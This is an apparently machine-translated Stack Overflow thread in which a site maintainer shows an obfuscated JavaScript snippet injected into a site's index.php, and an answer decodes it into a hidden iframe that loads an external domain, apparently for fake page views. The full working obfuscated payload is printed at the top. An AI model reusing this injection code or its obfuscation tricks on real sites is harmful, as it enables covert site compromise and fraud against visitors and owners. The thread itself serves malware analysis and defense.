该脚本出现在我帮助的网站的index.php页面中:
<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>
Run Code Online (Sandbox Code Playgroud)
它似乎唯一要做的就是尝试打开页面时返回错误。我刚刚将其删除,但一切正常,但我们不知道它是如何到达那里的,以及是否应该做可能有害的事情。该网站托管在阿鲁巴(Aruba)上,两个可以访问该代码的人最近都根本不在该页面上工作。
所以现在这是一个难题。
漂亮地打印代码,它分为四个阶段:
就像这里的所有内容一样,$声明有点奇怪:
$=~[];
Run Code Online (Sandbox Code Playgroud)
在Chrome控制台中,返回-1;在数字上下文中求值,[]变为0,〜(在JavaScript中按位NOT运算符)在0时得出-1。因此,我们将变量分配给-1。毫不混淆!
v = -1;
Run Code Online (Sandbox Code Playgroud)
然后构造一个具有混淆性的字典:
$={ ___ : ++$, dct={ zero : 0,
$$$$ : (![] + "")[$], f : "f",
__$ : ++$, one : 1,
$_$_ : (![] + "")[$], a : "a",
_$_ : ++$, two : 2,
$_$$ : ({} + "")[$], b : "b",
$$_$ : ($[$] + "")[$], d : "d",
_$$ : ++$, three : 3,
$$$_ : (!"" + "")[$], e : "e",
$__ : ++$, four : 4,
$_$ : ++$, five : 5,
$$__ : ({} + "")[$], c : "c",
$$_ : ++$, six : 6,
$$$ : ++$, seven : 7,
$___ : ++$, eight : 8,
$__$ : ++$ nine : 9
}; };
Run Code Online (Sandbox Code Playgroud)
因此,我们有一个字典,其中包含一些从0到9的值,以及字母a到f。有人闻到十六进制吗?获取字母的方法是从可预测的js生成的字符串中选择子字符串。虚假的值加上“”会为“ a”,“ e”和“ f”给出“ false”。{}+""给出[object Object]b和c的,undefined得出d。
接下来,它构造字典($.$_)的$ _(我们称其为alpha)元素为一系列字符串(到目前为止定义的unobf名称,加上后_$会变成beta,$$gamma,__delta,
$epsilon,_phi):
(dct.alpha = dct + "")[dct.five] // dct.alpha = "[object Object]", yields "c"
(dct.beta = dct.alpha[dct.one]) // dct.beta="o", yields "o"
(dct.gamma = (dct.epsilon + "")[dct.one]) // dct.gamma="n", "n"
((!dct) + "")[dct.three] // "s"
(dct.delta = dct.alpha[dct.six]) // dct.delta="t", "t"
(dct.epsilon= (!"" + "")[dct.one]) // dct.epsilon="r", "r"
(dct.phi = (!"" + "")[dct.two]) // dct.phi = "u", "u"
dct.alpha[dct.5] // "c"
dct.delta // "t"
dct.beta // "o"
dct.epsilon // "r"
Run Code Online (Sandbox Code Playgroud)
因此,所有这些都将dct.alpha($.$_)设置为“构造函数”。不祥的。的类似设置$.$$(我们称为gamma),将其设置为“返回”。云层变厚。
这次$.$(我们的dct.epsilon)的另一项重新分配将其设置为
dct.epsilon = (dct.zero)[dct.alpha][dct.alpha]
Run Code Online (Sandbox Code Playgroud)
这不仅仅是数组查找。dct.zero是0,所以(0)[“ constructor”]查找的值为0的“ constructor”属性。请记住,在javascript中,a [“ b”]与ab相同,所以(0)["constructor"]["constructor"]也是0.constructor.constructor。0的构造函数是Number函数,而Number函数的构造函数是Function函数。然后将此功能(指针)分配给dct.epsilon。蠕虫变了。
最后一条语句是对以下内容的嵌套函数调用$.$$:
dct.epsilon( Function(
dct.epsilon( Function(
//long concatenation // something functiony
)() )()
)(); )()
Run Code Online (Sandbox Code Playgroud)
长级串联将传递给函数构造函数,然后立即执行。该函数返回的函数也将立即执行。
实际上,到目前为止,我们所看到的一切都是脚手架。尽管我们对将要使用的字母有所了解,但几乎任何功能都可以通过这种方式构造。我可能会猜测,以上内容是一种通用的混淆,可以容纳所需的任何有效负载。
按字符构造的字符串是:
return "docu\155e\156t.\167\162\151te('<d \151 ... // continues
Run Code Online (Sandbox Code Playgroud)
因此,我们可以看到那里有转义的序列。实际上,该返回值告诉我们整个文档字符串将不进行转义,然后重新批发,以供外部调用对其进行调用。
因此,外部调用将接收到此现在未转义的字符串(格式化和拆分字符串以提高可读性):
document.write(``+''+'Counter'+``+'');
我在此处放置“ HEXYHEXY”而不是此处的十六进制字符串的地方–它会预先将您的网站或病毒作者链接到此页面,而这并不是我们真正想要的。iframe src中的域可能已连接到病毒作者,或者可能只是另一个受感染的页面;蠕虫大概可以使用一个主机通过此病毒作为中介来引导另一个主机。我的猜测是,它只会带来虚假的页面展示-每当您的页面被点击时,目标页面也会被访问,但是由于隐藏了div容器,没有人看到广告等。“ Counter”(计数器)位只是试图将秘密隐藏在众目;之下;如果您查看了该页面的浏览器表示,那么您所看到的只是一个看起来很单纯的Counter iframe。
病毒作者在这里有一些技巧来逃避查找此类脚本的简单方法:
\155变成'm',因此该字母永远不在纯字符串中。eval(![]+"")[3] = "false"[3] = "s"来挑选单个字符,而不用将它们放入普通字符串中$和_名称的变量,以使人类读者感到困惑(a=b)返回a的值,因此(a=b)[3]返回赋值的子字符串,同时进行赋值a = {(a=3):"b",++a:"c"}所有这些都是普通代码中非常糟糕的主意,因为它们在这里的原因非常严重:它们使代码难以阅读或理解。
| 归档时间: |
|
| 查看次数: |
771 次 |
| 最近记录: |